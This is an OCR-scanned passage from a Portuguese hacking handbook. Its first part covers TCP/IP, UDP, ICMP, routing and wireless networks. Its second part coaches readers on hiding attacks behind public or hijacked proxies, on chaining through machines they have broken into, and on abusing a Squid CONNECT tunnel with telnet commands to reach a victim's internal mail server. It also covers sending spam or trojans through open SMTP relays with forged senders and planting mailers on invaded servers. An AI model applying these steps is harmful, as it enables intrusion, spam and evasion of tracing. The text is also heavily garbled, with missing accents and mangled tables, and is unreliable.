Note que cada um dos elevadores do nosso restaurante presta-se a um servio diferente. Se o casal da mesa 4 quiser o servio completo, ter de se conectar,
em ordem, aos elevadores 1, 2, 3 e 4. O cafezinho um exemplo de servio
alternativo que vem pela mesma porta de outro: desceu pelo elevador de sobremesas. E a conta vem por uma porta desconhecida e misteriosa (no saiu de
elevador nenhum), estou achando que algum backdoor...
Voltando ao domnio dos computadores, voc pode atribuir qualquer porta a
qualquer servio. Mas existem sugestes para o uso delas, todas referenciadas
na RFC1700. Por exemplo, a porta 80 normalmente destinada aos servidores
Web ou HTTP.Quando voc abre uma pgina da Web e no diz em que porta
est, o seu navegador infere que para usar a porta 80. Voc pode montar um
servidorWeb e atribu-Io porta 12345, se quiser. Mas ter de informar a todos
os seus clientes que seu servidor usa essa porta.
2 voc j viu um restaurante organizado assim? Eu nunca. Minhas bebidas chegam sempre quentes...
1169 I
] Redes
II
I Universidade
H4CK3R I
NETSTAT
Conexes
ativas
Endereo
Estado
externo
Prato
Endereo
TCP
EST202: 1928
192.168.1.109
TCP
EST202
:2787
baym-cs41.mdc.chachucha.com:1863
ESTABLISHED
TCP
EST202:
2934
streamer013
TCP
EST202
:4065
TCP
EST202:
4068
local
xuxu.
c1ient.
ESTABLISHED
:netbios-ssn
.cache.
tatibi
gotorama.
com: http
CLOSE_WAIT
ta ti . com:
ftp
TIME_WAIT
ADSL145-4.babababa.com.ar:1346
ESTABLISHED
Redes11[
Universidade 2 Ano
~ URG (urgent)
Sina1izadorde urgncia;
~ ACK (acknowledge)
Indica que os pacotes anteriores foram aceitos no destino;
~ PSH (Push) Um tipo de "vlvula de descarga" ,acelera a transmisso para poder finaliz-Ia;
~ RST(reset) - Interrompe a conexo, devido a erros ou "queda de linha";
~ SYN (synchronize) - Tentativa de sincronizao entre portas;
~ FIN (finish) Finalizador de conexo, usado no fim da transmisso (no h mais dados);
Vamos usar o exemplo mais manjado de todos: um servidorWeb. O computador cliente deseja conectar-se ao servidor e obter dele a pgina principal
index.php. O cliente envia um pacote TCP ao servidor para a porta 80 com o
flag SYN ativado e com um nmero seqencial que marcar o incio da troca
de dados. Todos os pacotes que saem do cliente em direo ao servidor sero
seqncias em relao a esse primeiro, que vamos abreviar para SEQc O servidor (se estiver escutando naquela porta) vai responder com dois flags ativados:
o ACK,indicando que reconheceu e aceitou o pacote enviado, e um novo SYN,
solicitando que o cliente aceite o seu nmero seqenciaI (vamos cham-Io de
SEQs)'O campo nmero de reconhecimento que vai em direo ao cliente possui o SEQc e, no campo nmero seqenciaI, SEQs' O cliente, ento, responde
com um ACK + SEQs'indicando que eles podem iniciar a transferncia de dados sem problemas.
1171 I
] Redes
11
I Universidade
H4CK3R I
Como ambas as partes sabem qual o nmero seqencial do outro, fica fcil
pedir o reenvio de pacotes perdidos e ordenar os pacotes no destino. No
nem um pouco provvel que aqueles desorganizados, desordeiros e descarados pacotes IP tenham resolvido passear por lugares diferentes da Internet e
chegaram no destino em uma ordem diferente da estipulada.
O que acontece quando voc, no meio do carregamento da pgina, dica no
boto Parar do seu navegador? Neste momento, o software em questo manda
um pacote TCP para o servidor com o flag FIN ligado, como quem diz "pode
parar que no quero mais brincar". O bit RST usado para derrubar conexes
problemticas, negar tentativas no autorizadas ou incompletas de conexo
(por exemplo, a uma porta que no existe) e liberar a porta em questo, se
estiver em uso.
Esta a parte mais importante de nossos estudos sobre o protocolo TCP/lp.
Os hackers usam pesadamente os flags TCP para vasculhar nossas conexes e,
dependendo das respostas que o sistema operacional retorna, calcula ou infere
se a porta est aberta ou fechada, se existe proteo por firewall ou no e se
algumas vulnerabilidades detectveis por esse processo esto presentes.
Protocolo UDP
O TCP "carne e unha" com o Ip, e juntos eles so "pau pra toda obra". A
maioria dos servios oferecidos na Internet baseia-se nessa dupla dinmica
(puxa, que trocadilho ruim...). Mas h um outro protocolo que pode ser considerado o "amigo do peito" do IP.
H situaes em que toda a parafernlia de verificaes levadas a cabo pelo
TCP no so necessrias. Na maioria dessas situaes, elas at atrapalham.
Quando baixamos um programa da Internet ou uma msica pelo KaZaA (sem
pirataria, pessoa!!), queremos que eles estejam ntegros, de outro modo no
conseguiremos utiliz-Ios. Mas quando estamos ouvindo rdio ou vdeo pela
Internet, a ordem dos pacotes e mesmo sua confiabilidade j no so assim to
necessrias.
nesse contexto que entra em cena o User Datagram Protocol. Como o prprio nome diz, o UDP um datagrama configurvel pelo usurio. Seu cabealho muito simples, e cabe ao prprio programa definir as regras de conexo
e as informaes a serem trocadas entre as partes. A expresso no confivel
normalmente usada para descrev-Io, por no possuir formas de recuperao
de erros, mas isso uma mentira. O UDP serve para inmeros casos onde as
opes de estabilidade do TCP ainda so insuficientes e devem, portanto, ser
implementadas diretamente na aplicao.
O pacote UDP no possui nenhum dos campos de controle, seqncia e reconhecimento, nada disso. Como no possvel estabelecer uma conexo com o
TCp' pois no h meios de fazer o hadshake, dizemos que o protocolo
1172
1
Redes 11r
Universidade 2 Ano
UDP no orientado
ele
connectionless.
Voltando ao nosso streamming, um pacote UDP faltando significa uma manchinha qualquer na minha imagem em streamming,
que passa despercebida
pela rapidez com que outra imagem colocada no lugar. J o atraso provocado
por todas as verificaes do pacote TCP tornariam o vdeo extremamente
desagradvel de assistir. Um pacote UDP parece-se com este:
Checksum(16)
Dados
tem
Protocolo ICMP
o pessoal que desenvolveu a famlia de protocolos TCP/IP no deu ponto sem
n. Uma das coisas mais bacanas para o controle e sinalizao de eventos e problemas nas redes IP o tal do Internet Control Message Protocol. Sua funo
enviar comandos simples a interfaces de rede e roteadores para que eles faam
alguma coisa ou respondam com seu estado.Alm de ser usado automaticamete
pelas interfaces e roteadores, uma caixa de ferramentas muito interessante
para o administrador resolver problemas da rede. Hackers tambm adoram os
recursos que o ICMP oferece para descobrir a topologia de nossa rede...
O ICMP um protocolo de nvel 3 (ups, deveramos t-Io colocado antes do
TCp, no acha? Bem, achamos que, didaticamente, ele ficaria melhor aqui). O
cabealho do ICMP literalmente o mesmo do Ip, mas no campo de protocolos, em vez do 6 do TCP ou o 17 do UDp, colocamos 1. No campo de dados do
pacote IP inserido mais um campo de controle, o chamado ICMP Type Field,
que identifica o tipo de mensagem que o ICMP vai transportar. Esses cdigos
tambm esto definidos pelo IETF na (adivinhe...) RFC1700 e mostrados na
tabela a seguir:
1173
] RedesII
I Universidade
H4CK3R I
[Referncia].
11741
Redes11I
Universidade 2 Ano
Destination Unreachable
[RFC792]
Codes
O Net Unreachable
1 Host Unreachable
2 Protocol Unreachable
3Port Unreachable
4 Fragmentation Needed and Don't Fragment was Set
5 Source Route Failed
6 Destination Network Unknown
7 Destination Host Unknown
8 Source Host Isolated
9 Communication with Destination Network is
Administratively Prohibited
10 Communication with Destination Host is
Administratively Prohibited
11 Destination Network Unreachable for Type of Service
12 Destination Host Unreachable for Type of Service
5
Redirect
Codes
O Redirect
1 Redirect
2 Redirect
3 Redirect
11
[RFC792]
Datagram
Datagram
Datagram
Datagram
for the
for the
for the
for the
Time Exceeded
Codes
O Time to Live exceeded in Transit
1 Fragment Reassembly Time Exceeded
12
Parameter Problem
Codes
O Pointer indicates the error
1 Missing a Required Option
2 Bad Length
[RFC792]
[RFC1108]
I RedesII
1176
I Universidade
H4CK3R I
Laboratrio
de Redes
11
Universidade 2 Ano
Linha
Telefonica
Windows
Coitada
Unix
Barramento do Hub
I Universidade
H4CK3R
Roteamento
Para que o roteador possa direcionar os dados pelos diferentes caminhos
entre as redes interligadas, eles utilizam os chamados Protocolos de
Roteamento. Alm disso, os dispositivos tambm vm dotados de uma tabela de roteamento, responsvel por identificar as rotas que sero seguidas
por datagramas. Caso o roteador no conhea o caminho pelo qual o
datagrama deve passar, ele o envia para um roteador listado como default
gateway (caminho padro) para de l prosseguir seu caminho.
O protocolo de roteamento age de duas formas, informando o menor
caminho, o que no significa que esse seja o melhor, ou ento informando
o melhor, que nem sempre o menor. Grande parte das vezes, o melhor
caminho o menos congestionado, uma vez que os menores podem estar
lidando com muitas requisies ao mesmo tempo. Dentre os protocolos
de roteamento, ficaremos com os ligados ao TCP/IP, que o mais utilizado, falaremos do OSPF (Open Shortest Path First) e do RIP (Routing
Information Protocol).
OSPF
O OSPF um protocolo aberto que baseado no link utilizado pelo TCP/lP.
Ele capaz de testar o estado dos outros roteadores conectados por meio de
uma mensagem chamada "hello", que enviada para cada um, e se o roteador
contatado estiver funcionando ele retoma uma mensagem positiva; a falta de
resposta significa que o equipamento est fora do ar. Alm disso, tambm possui o roteamento baseado no tipo de servio, que escolhe a melhor rota para o
datagrama baseado na prioridade do datagrama em questo.
O cabealho OSPF formado por:
Verso do protocolo;
Verso
Tipo - Tipo da mensagem que pode ser: hello, descrio do banco de dados,
pedido do estado do link, atualizao do estado do link, conftrmao do estado
do link;
Informa o endereo IP do roteador que est
IP do roteador de origem
enviando a mensagem;
rea - At em que rea a mensagem se refere (no OSPF as redes podem ser
divididas em reas);
Checksum: Checksum da mensagem;
Tipo de autenticao - Informaes sobre a senha;
Caso haja senha.
Autenticao
RIP
O RIP faz com que os roteadores enviem suas tabelas de roteamento de 30
em 30 segundos para os outros roteadores, fazendo dessa forma uma atualiza-
1178 I
Redes
11 r
Universidade 2 Ano
o constante de suas tabelas baseado nas de outros roteadores. Um dos maiores problemas encontrados nesse protocolo que ele defme o caminho a ser
percorrido baseado na distncia at o receptor, sem levar em conta as condies e desempenho da rota a ser percorrida.
As mensagens RIP possuem os seguintes elementos:
Comando - Usado para identificar se a mensagem um pedido ou uma
resposta;
Verso - Informa a verso do protocolo;
Reservado
H diversos campos marcados como reservados, e todos eles
so preenchidos com zeros;
Protocolo
- Informa qual foi o protocolo utilizado para gerar o
endereamento;
Internet
Em 1969, nascia a Internet. Essa pode ser considerada uma das histrias mais
contadas no mundo digital, mas nunca demais relembrar a origem de um dos
grandes frutos da humanidade. A inteno era ligar os laboratrios de pesquisa
norte-americanos da ARPA(Advanced Research Projects Agency), visando estabilidade de todo o sistema caso algo acontecesse a um dos seus terminais.
Podemos dizer ento que mais um avano da humanidade nasceu ligado s
intenes militares, tudo por causa da guerra fria.
Aos poucos, a rede foi se expandindo para universidades e laboratrios, e
com o tempo acabou ganhando o mundo. No existe um lugar central onde a
Internet esteja localizada, so mais de 40 mil redes espalhadas ao redor do
globo, todas elas baseadas no protocolo TCP/lP. No foi toa que ele se tomou
to popular, como dissemos antes.
A Rede Mundial de computadores, tambm chamada de WWW (WorldWide Web),
formada por redes de alta capacidade, que por sua vez esto conectadas a computadores poderosos conhecidos como Backbones, com alta largura de banda.
Discutir os componentes da Internet seria como discutir o prprio protocolo TCP1IP,e j que o estudamos no captulo Redes I, aconselhamos o leitor a dar
uma olhada em termos como FTp'HTTP,DNS, entre outros que l esto descritos. Esses so os termos mais usados na grande Rede.
Sub-Redes
Uma rede baseada em TCP/lP pode ser dividida em redes menores para que
haja a possibilidade de criar domnios de difuso menores, e assim utilizar
melhor os recursos disponveis. Elas so conhecidas como sub-redes ou redes
1179 I
] Redes 11
I Universidade
H4CK3R
Alm disso, as mscaras de sub-rede foram criadas para auxiliar na identificao das mquinas na rede. Voc pode encontrar mais informaes sobre elas
no captulo de Redes I, em TCP1IP.
Redes Wireless
Rdio
Sistema utilizado primordialmente em redes pblicas, dada a falta de segurana em suas transmisses. necessrio que antenas estejam instaladas dentro do
alcance de transmisso, mas nada impede algum (hackers, talvez) de instalar
uma antena para a captao desses dados, que, se no estiverem criptografados
adequadamente, podero ser utilizados para outros fms que no os esperados.
Uma de suas grandes vantagens que sua operao feita na freqncia de
2,4 GHz, considerada de uso pblico, e dessa forma no h necessidade de
autorizao de rgos governamentais para sua utilizao.
Uma outra forma de transmisso de dados por rdio conhecida como transmisso direcional. Ela feita por meio de antenas parablicas, mas estas devem
estar bem alinhadas, pois qualquer obstculo ou desvio pode comprometer
seriamente a conexo.
IEEE 802.11
Foi o padro criado para sanar o problema da falta de padronizao existente entre os fabricantes de tecnologia de rdio, pois no havia compatibilidade
entre os diferentes produtos, impedindo assim a comunicao entre as redes.
Ele utiliza um esquema conhecido como Carrier Sense Multiple Access with
Collision Avoidance (CSMNCA). O transmissor faz um teste inicial e logo em
seguida sincroniza as mquinas para que no haja conflitos ou colises na
transmisso dos dados.
InfravermeLho
A utilizao do infraverme1hq para a comunicao sem fto tem sua aplicao
voltada mais para redes locais.' Seu alcance est restrito a um ambiente pequeno e totalmente sem obstculos, pois o espectro de luz no pode atravess-Ios.
1180
Redes11[
Universidade 2 Ano
Bluetooth
o Bluetooth considerado como uma rede sem fio de baixo custo, mas que
infelizmente possui baixo alcance. Sua propagao feita a partir de sinais de
rdio de alta freqncia e sua versatilidade permite a conexo de vrios aparelhos que vo desde eletrodomsticos at laptops. Essa tecnologia foi criada a
partir da iniciativa da Ericsson Mobile Communication, em 1994, para explorar a capacidade da interface de rdio em seus aparelhos. Em 1998 nasceu o
SIG (Bluetooth Special Interest Group). O sistema utiliza uma freqncia de
at 2,4 GHz, com uma taxa de transmisso de aproximadamente 1 Mbps, com
distncia mxima de dez metros.
GSM
O Global System for Mobile Communications um padro para telefonia de
arquitetura aberta mvel utilizado na Europa e que j est se espalhando pelo
mundo. Ele opera na freqncia de 900 MHz, especificada pelo European
Telecommunications Standards Institute (ETSI).Atualmente, a tecnologia empregada j est na sua terceira gerao, a qual veremos a seguir:
2,56
Nvel intermedirio entre a 2G e a 3G, permite a conexo de banda larga com
celulares e PDAs.Alm disso, oferece uma gama de servios que tornaram esta
tecnologia muito mais atrativa, como mensagens de texto instantneas e servios de localizao.
36
Terceira gerao da tecnologia GSM. Suas aplicaes esto voltadas para o
acesso direto Internet com banda larga, transformando assim o telefone mvel em uma plataforma completa para a obteno de dados e servios na
Internet; alm disso, h estudos sobre sua utilizao para comrcio mvel. Isso
significa efetuar compras em mquinas automticas e lojas utilizando o aparelho celular. Pode operar em freqncias de 1,9 GHz a 2,1 GHz.
WiFi
WiFi a abreviatura para o termo Wireless Fidelity, da WECA (Wireless
Ethernet Compatibility Alliance), que utiliza o protocolo conhecido como IEEE
802.11b.
1181 I
] Redes
I1
Vulnerabilidades
Captulo
'Ves gens esc/aves, chansons, chants &
requestes, Captifs par Princes, &
Seigneurs aux prisons. A ! advenir par
idiots sans testes,
Seront receus par divins oraisons ': i
Nostradamus,
Centria I, 14a
quadra, aprox. 1555
I Universidade
H4CK3R I
- Aula Inaugural
Captulo 7
- Fundamentos
- Engenharia
Jurdicos - Consideraes
Social - Obtendo
Vulnerabilidades
do computadores
pessoais.
- Agindo
informaes
legais sobre
ANTES de ligar o
Com tudo o que vimos at este captulo, podemos dizer que j nos igualamos
grande multido de script kiddies espalhados pelo globo. O leitor deve ter
notado que, em vez de falar de dezenas de ferramentas e explicar como cada
uma funciona, tentamos mostrar o modo como os kiddies trabalham e os locais
onde se pode encontrar tais ferramentas.
Novamente advertimos: nenhum livro, CD-ROM,FAQ ou site na Internet ensinar algum a ser hacker. um processo que requer estudo, pacincia, persistncia e abnegao. No presente captulo, veremos mais algumas tcnicas usadas pelos script kiddies, desta vez focando sites na Internet ou redes e sistemas
corporativos. Mas ao contrrio dos kiddies, voc saber exatamente o que est
fazendo, baseado nos conhecimentos adquiridos anteriormente. Outra coisa que
poder ser notada: ferramentas de "hacking" para Windows 9x so meros brinquedos. medida que as coisas vo ficando srias, apenas sistemas mais parrudos
como o Windows NT ou o Unix possuem condies de servir de base para
ataques, especialmente este ltimo.
11841
Vulnerabilidades 11[
Universidade 2 Ano
Navegando anonimamente
Os proxies fazem mais do que servirem de fIrewall e cache para redes internas acessarem Internet. Um computador atrs de um proxy fIca totalmente
escondido, e seu nmero IP no revelado. Para o computador que recebe a
conexo, o IP de origem dos pacotes que chegam todo do proxy.
Se um hacker conseguir acesso a um proxy qualquer para navegar na Internet
seus passos estaro cobertos. Esse proxy pode ser um servio pblico - h .
diversos proxies pblicos na Internet, alguns gratuitos, mas a maioria paga.
Pode ser tambm algum proxy particular que esteja mal confIgurado e aceitando relay de toda a Internet. Mesmo bem configurado, h falhas em alguns
softwares que permitem que hackers usem proxies alheios como escudo.
O outro lado da moeda tambm vlido. Um proxy um servio aberto em
uma porta TCP e, portanto, est sujeito a falhas. Um servio de proxy pode ser
a porta de entrada para a invaso da mquina e comprometimento de outros
servios antes "saudveis".
Proxies pblicos
Uma das formas de navegar sossegado pela Internet sem ser molestado utilizarse de um servidor pblico de proxy.Atrs desse servidor, seu IP fIca invisvel para
todos os sites da Internet: voc est a salvo dos vendedores de enciclopdias, dos
colecionadores de cookies e das investigaes do governo. Hackers que estejam
tentando atingi-Iotero apenas o IP do proxy. Como toda tecnologia pode tambm
ser usada para o mal, voc pode esconder-se atrs do proxy para originar ataques,
que sero registrados nos logs da vtima com um IP diferente do seu. A conexo
entre voc e o proxy pode ser criptografada com SSL- normalmente por meio de
um Secure Shell ou SSH - e a maioriados servidoresgarante que suas atividades
no sero registradas ou suas informaes redirecionadas a empresas que patrocinam o proxy. Parece seguro, no? Nem tanto.
Bem ou mal, o prprio proxy tem informaes a seu respeito. Mesmo que
haja proxies pblicos garantindo que voc no ser rastreado nem registrado
nos logs do servidor, alguns deles podem estar mentindo. Se voc causar algum
estrago na Internet, cedo ou tarde ser rastreado at o proxy. Basta um mandado judicial para que o responsvel pelo servidor abra seus registros Polcia
Federal. Ser preso seria questo de horas.
H vrias maneiras de tentar driblar esse inconveniente. A primeira uma
tcnica chamada daisy-chain proxying: invade-se um computador sem importncia, que usado para invadir um segundo, que usado para invadir um
1185
]Vulnerabilidades
11
I Universidade
H4CK3R I
www.antiproxy.com/
netspy. ukrpack.net/
E, obviamente, seu buscador de Internet favorito (Google, All the Web), com
as palavras chave "public proxy", pode cuspir centenas de listas de servidores
pblicos disponveis. Instrues para configurar seu browser para utilizar um
desses servios podem ser encontradas na Ajuda dos prprios programas. Observe que h proxies para servios determinados, normalmente H1TP,Ffp e e-mail.
Se voc pretende usar um deles para um portscan ou mesmo um ataque, deve
antes disfarar os pacotes TCP/lP de seu ataque para que se paream com o
servio suportado e se passem pelo proxy.
Outra maneira de reforar o anonimato na Grande Rede, mais simples, mas
menos efetiva, usar programas que escolhem automaticamente o proxy de
uma lista e conectam-se a eles. Cada vez que o programa ativado, um servidor
escolhido aleatoriamente ou obedecendo a critrios predefinidos.Alguns mais
avanados so capazes de alternar entre proxies de tempos em tempos, pulverizando os rastros. O browser deve ser configurado para acessar o programa,
que roda no endereo de loopback ("localhost" ou 127.0.0.1), e deixar que o
programa cuide de encontrar um proxy seguro.
Um bom servio pago de proxy assistido por um programa-cliente o
Anonymizer (www.anonymizer.com). A verso mais bsica do servio custava,
em maro de 2003, US$ 49,90 mais impostos, e estava disponvel apenas para
Windows. Entre os recursos oferecidos, alm do proxy aleatrio com servidores pblicos, esto a criptografia de URLs, gerenciamento de cookies,
1186
I
Vulnerabilidades
11[
Universidade 2 Ano
]Vulnerabilidades
II
I Universidade H4CK3R I
Proxies privados
H diversas maneiras de invadir uma mquina rodando algum programa de proxy
e faz-Iaesconder-se da Internet. O mtodo para cada tipo de proxy depende de
sua verso e do sistema operacional no qual roda. Mas h algumas vulnerabilidades
que fimcionam em qualquer plataforma, pois so inerentes tecnologia e no
implementao da tecnologia por um determinado desenvolvedor.
Um desses casos o TCP Tunnel, uma maneira de encapsular pacotes TCP
dentro de outros para transport-Ios a salvo pela Internet. Essa tecnologia
muito usada para criar VPNs, ou redes privadas virtuais. Mas uma falha na
tecnologia pode dar a hackers espertos um proxy improvisado.
Essa
vulnerabilidade realmente antiga. Veja o que diz o FAQ do software Squid
(www.squid-cache.orglDoc/FAQ/FAQ-1.html).noitem
1.12:
1188 I
Vulnerabilidades II [
Universidade 2 Ano
"Desde a verso 2.5, o Squid suporta conexes SSL e trfego "tunelado" entre
clientes e servidores. Neste caso, o Squid pode fazer um relay dos bits
criptografados entre as duas extremidades da conexo.
Normalmente, quando seu browser encontra uma URL https, executa uma
das duas aes abaixo:
1 O browser abre uma conexo SSL direta com o servidor https;
2 O browser solicita a abertura de um tnel IP atravs do Squid usando o
mtodo CONNECT.
O mtodo CONNECT uma forma de tunelar qualquer conexo que passe
por um proxy de HTTP. O proxy no interpreta ou entende o contedo que
est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na
conexo. Para mais detalhes sobre tunelamento e o mtodo CONNECT, veja o .
internet draft "Tunneling TCP based protocols through web proxy servers"
(www: web-cache. com/W ri tings/ln terne t-Drafts/ draft -luotonen-web-proxytunneling-O1.txt) e a RFC2817 (ftp://ftp.isLedu/in-notes/rfc2817.txt)."
Veja a seguinte frase, retirada desse trecho do FAQ:"O proxy no interpreta ou
entende o contedo que est sendo tunelado, apenas o repassa entre as duas
mquinas envolvidas na conexo." Isso quer dizer que o proxy sequer verifica se
os dados esto criptografados ou no. Portanto, pode-se explorar essa
vulnerabilidade simplesmente usando o mtodo CONNECT para conectar-se a
um servidor, que pode ser tanto uma mquina na Internet como um servidor em
sua Intranet! Lembre-se de que o proxy pode estar rodando na mquina gateway,
que possui duas interfaces de rede (uma para a rede interna e outra para a rede
externa). Tomando posse do proxy, o invasor tem acesso rede interna, mesmo
que ela seja implementada com IPs reservados como 10.0.0.0. ou 192.168.0.0!!!
Que tal um exemplo prtico? Em um proxy vulnervel, nos conectaremos a
um servidor de e-mail interno e o usaremos como remailer. Considere as seguintes informaes:
~ IP do atacante: 200.230.xxx.yyy
~ Proxy vulnervel da vtima: 64. 131.aaa.bbb, "escutando" na porta 3128
~ Servidor SMTP interno da vtima: 192.168.1.11
Conecte-se ao proxy usando o velho e bom telnet (o exemplo usa o shell do
Unix, mas pode ser feito no Windows sem problemas, com emuladores de terminal e telnet como o TeraTerm ou mesmo o HyperTerminal, que vem "de brinde" com o SO):
$ telnet 64.131.aaa.bbb3128
Uma vez conectado, digite o seguinte comando:
CONNECT192.168.1.11:25/ HTTP/1.0
Se, como resposta, aparecer o banner do servidor, voc pode emitir comandos para enviar seus e-mails annimos (veja a prxima seo, "Anonymous
remailers", ainda neste captulo). Note que SMTP foi usado aqui apenas como
exemplo. Voc pode usar o mtodo CONNECT para qualquer servio: POp, FTP,
1189 I
I
Vulnerabilidades
11
I Universidade
H4CK3R I
Squid
O Squid, proxy server nmero um para amantes do Unix e do Software Livre,
tambm tem suas mazelas. Sites com Squid e regras de flrewalls mal conflgurados so um prato cheio para quem est procurando anonimato. Mas mesmo
sistemas perfeitamente conflgurados (e indiscutivelmente seguros do ponto de
vista do administrador) podem estar frgeis a ataques. Uma vulnerabilidade
recente (lwn.netNulnerabilities/4;;;;;;6) permite diversos ataques, entre eles:
~ Problemas com o protocolo Gopher permitem que menus malformados
causem problemas de segurana;
~ Os dois canais de comunicao FTP permitem que dados sejam extrados
ou inseridos, podendo forar o download de arquivos arbitrrios ou a execuo de comandos no servidor;
~ Falha na autenticao permite que usurios no cadastrados utilizem o proxy.
As trs falhas poderiam ser usadas para, alm da invaso do servidor no qual
o Squid estivesse rodando, forar o proxy a fazer relay de IPs no autorizados.
Exploits podem ser encontrados no Security Focus (www.securityfocus.com).
A correo simples: atualize seu Squid para a verso 2.4.STABLE7 ou superior. Mas como os administradores de rede por a so preguiosos (e a falha
relativamente nova, de novembro de 2002), possvel que voc encontre, por
muitos anos ainda, Squids com verses vulnerveis.
WinGate
O WinGate foi lanado em 1995 como um compartilhador de Internet para
redes domsticas. Simula um proxy/gateway por IP Masquerade e, pelo seu
preo baixo, foi muito popular nos EUA.Apesar de ser um produto j velhinho,
muita gente ainda o usa para compartilhar sua conexo de Internet com as
mquinas de uma pequena rede. H diversas maneiras de tirar algumas verses
antigas do WinGate do ar. Uma das mais conhecidas conectar-se (com telnet,
por exemplo) porta 2080 e enviar alguns quilobytes de dados quaisquer.
Mas o interessante que algumas verses do WinGate mal conflguradas permitem que ele seja usado como proxy annimo. Se voc roda um desses, est
arriscado a emprestar o SEU IP para que script kiddies ataquem o Pentgono.
Encontrar exploits para o WinGate muito fcil. Use seu mecanismo de busca
190
Vulnerabilidades 11[
Universidade 2 Ano
favorito e procure por "wingate scanner". Tenha em mente que muitos desses
scanners podem ser armadilhas para pegar script kiddies e, portanto, conter
vrus e trojans - atualize seu antivrus!!!
A correo para isso bem fcil. Se voc insistir em usar Windows, faa um
upgrade do WinGate (www.wingate.com)
ou use outro software, como o
WinProxy (www.winproxy.com).As verses mais novas do Windows possuem
o Internet Connection Sharing, que dispensa o uso de programas externos. Mas
o prprio ICS , em si, inseguro, ento recomendamos que instale um ftrewall
pessoal como o ZoneAlarm (www.zonealarm.com) ou compre por uns trocados uma sucata de 386 (funcionando, obviamente) com pelo menos 8 Mbytes
de RAM e sem nenhum HD. Nela, instale algum gateway+ftrewall baseado em
Linux ou FreeBSD.Boas pedidas so o Coyote Linux (www.coyotelinux.com). o
Trinux (trinux.sourceforge.net) e o FreeSCO (www.freesco.org). A sucata de
386 custar mais barato que as licenas de WinGate, WinProxy ou do Windows
com ICS e Zone Alarm.Alm disso, se bem conflgurada funcionar melhor, ser
mais segura e deixar seu miero de trabalho com menos porcarias instaladas.
Anonymous remaiLers
Uma das coisas mais chatas que existem (depois dos vendedores de enciclopdia, dos pop-ups em web sites e dos representantes tcnicos de grandes
softwarehouses, insistindo para que voc use o carssimo programa deles, e
no aquele gratuito que faz a mesma coisa) o spam. Todos ns recebemos,
diariamente, dezenas ou mesmo centenas de mensagens indesejadas nos oferecendo de tudo, de sexo a cera colorida para automveis, de panelas ultra-modernas a consolidao de dvidas. Em um primeiro momento, fcil conflgurar
um cliente de e-mail como o Outlook ou o Eudora para, no campo "From" das
mensagens enviadas, apresentar um endereo diferente. do seu.
Mas esse artifcio logo descoberto, pois no cabealho do e-mail (os dados
que vm antes de sua mensagem, e que normalmente no aparecem) ficam
registrados seu e-mail verdadeiro, o endereo de seu servidor SMTP e at o
nome do programa que voc usou. Para enviar spam sossegado (ou um cavalo
de tria) voc tem, ento, duas opes:
~ Encontrar servidores de SMTPque estejam abertos para relay externo, ou
seja, que aceitem conexes vindas de qualquer canto da Internet. Acredite, eles
so bem comuns...
~ Utilizar um software ou site que reenvie seus e-mails sem revelar a origem.
Em servidores SMTP desprotegidos, voc pode configurar seu cliente de
e-mail para conectar-se a ele, mas isso poderia deixar muitos rastros. Uma boa
tcnica usar o velho e bom telnet para tal. Depois de encontrar um servidor
de e-mail aberto ao grande pblico, d um telnet a ele na porta 25:
$ telnet IP.DO.SMTP.ABERTO 25
1191
I
Vulnerabilidades
II
I Universidade H4CK3R I
Alguns sistemas, mesmo abertos para relay externo, so imunes a esse procedimento. Voc conseguir enviar o e-mail,mas no ser permitido "mentir" a respeito
de seu endereo. Enviar um e-mail a voc mesmo um bom teste, mas no esquea
de verificar os cabealhos! O que ocorre que servidores de SMTP mais novos
verificaro sua identidade com o servio identd (que tenta identific-Io remotamente). Nesses casos, necessrio "enganar" o identd primeiro, para depois usar o
SMTP aberto. No tenha preguia de completar todos os campos mostrados. Assim, sua mensagem ficar mais parecida com uma mensagem real. Para mais informaes sobre o funcionamento do protocolo SMTP,leia as RFCs 822 e 931.
H diversos sites que enviam e-mails annimos. Mesmo grandes sites de hospedagem gratuita e mecanismos de busca (como o Lycos: members.lycos.fr/
moiaptoi/mail.php) possuem pginas especiais para enviar e-mails com mensagens ou e-cards aos seus amigos - ferramenta que, na mo de um hacker, torna-se
uma arma. Uma rpida pesquisa no Google retomou vrios exemplos de web
anonymous mailers. Separamos, dentre as centenas mostradas, estes cinco:
~ www.gi1c. org/speech/anonymous/remai1er.html
~ fanc1 ub. etoy. c3 .hu/tanksystem/underground-tank/resistance/
mailerform.html
<= Um site de estudantes!
~judsonalumni.com/1evel5
~ www.email-anonyme.fr.st
~ mailer.us.tf
Voc pode ainda invadir um servidor qualquer na Internet e imp1ementar
l, sem que ningum saiba, seu prprio Mailer. Um exemplo de cdigo (em
PHP) pode
ser visto
em http://www.pscode.com/vb/scripts/
ShowCode.asp ?txtCodeId=95 3&lngWId=8.
H pilhas de softwares que automatizam o processo de enviar toneladas de emails para milhares de endereos, incluindo a imp1ementar seu prprio servidor SMTP domstico ou varrer a Internet atrs de servidores podres. Se voc
1192
I
Vulnerabilidades
11[
Universidade 2 Ano
usa Unix e tem conexo direta com a Internet, pode instalar um servidor completo de SMTPem sua mquina, configur-Io para um domnio fictcio qualquer
e mandar brasa! Alguns provedores bloqueiam servidores SMTP em seus assinantes, mas nada que um proxy pblico no resolva...
H diversas opes disponveis, sendo o Qmail, PostflX e o veterano Sendmail
as mais conhecidas. Em um refmamento desse processo, podem-se utilizar servidores de listas de discusso para automatizar a entrega a muitos destinatrios. Entre os servidores de listas mais comuns encontram-se o Majordomo, o
Exim e o GNU Mailman. Para alimentar os servidores de listas, basta criar uma
lista de distribuio e cadastrar, aos poucos, endereos colecionados pela Internet.
H scripts como o Bulk Mailer (ftp://cs.utk.edu/pub/moorelbulk
mailer/) que
facilitam a tarefa ainda mais. Uma procura no Google j seria suficiente para
comear, mas no h necessidade: voc pode, simplesmente, copiar e colar a
partir daqueles e-mails de corrente e mensagens de fim de ano que se costuma
receber e que normalmente vm repletos de endereos nos campos "Para" e
"CC". Se voc inimigo do spam, uma dica: ao reenviar mensagens, use sempre
o campo "Cpia Oculta" ou BCC.
No lado do cliente, ainda possvel enviar e-mails annimos sem invadir servidor algum. Tenha em mente que, apesar de ser uma soluo mais simples,
perigosamente fcil de ser rastreada. Alguns programas (pagos) para Windows
que fazem isso so:
~ Send-Safe: www.send-safe.com
~ Bulker: bulker. us
No CD, h alguns outros programas gratuitos que prometem cumprir o prometido: enviar e-mails annimos a um grande nmero de pessoas. Teste todos.
Mas no se prenda facilidade de um script, como diria a hackergirl Melpneme.
Tente entender como os servidores SMTP funcionam, e ver que fcil utilizar
